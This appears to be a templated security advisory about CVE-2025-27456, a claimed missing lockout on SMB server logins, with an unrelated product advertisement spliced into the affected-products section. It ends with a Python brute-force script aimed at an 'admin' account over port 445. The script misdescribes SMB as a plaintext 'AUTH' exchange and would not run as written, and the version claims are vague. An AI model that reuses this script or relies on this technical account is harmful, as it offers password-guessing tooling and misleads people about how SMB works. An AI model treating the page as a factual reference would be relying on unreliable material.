Overview
CVE-2025-27456 represents a significant vulnerability in the SMB server’s login mechanism. This vulnerability, impacting a broad range of systems using the SMB protocol, allows potential attackers to execute brute-force attacks due to insufficient prevention measures against multiple failed authentication attempts. As a result, this vulnerability could lead to severe consequences, such as system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-27456
Severity: High, CVSS score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
Microsoft Windows Server | All versions prior to patch
Linux Samba Server | Versions 4.0.0 to 4.10.16
How the Exploit Works
An attacker could exploit this vulnerability by continuously attempting to authenticate with the SMB server using different credentials within a short timeframe. Given the lack of measures preventing multiple failed attempts, the server remains susceptible to these brute-force attacks. If successful, the attacker could potentially gain unauthorized access, leading to system compromise or data leakage.
Conceptual Example Code
The following is a conceptual example of how an attacker might attempt to brute-force the server:
import socket
import itertools
import string
def try_login(ip, user, password):
s = socket.socket()
s.connect((ip, 445))
# Send SMB authentication request with the user and password
s.send(f'AUTH {user} {password}\n')
response = s.recv(1024)
s.close()
return 'Success' in response
def brute_force(ip, user):
for password_length in range(1, 9): # Try passwords of length 1 to 8
for password in itertools.product(string.printable, repeat=password_length):
password = ''.join(password)
if try_login(ip, user, password):
print(f'Found password: {password}')
return
brute_force('192.0.2.0', 'admin')In this mock example, the attacker is attempting to brute-force the ‘admin’ account on the server at IP address ‘192.0.2.0’. The attacker tries all printable ASCII characters in passwords of length 1 to 8. If a password is found, it’s printed and the attack stops.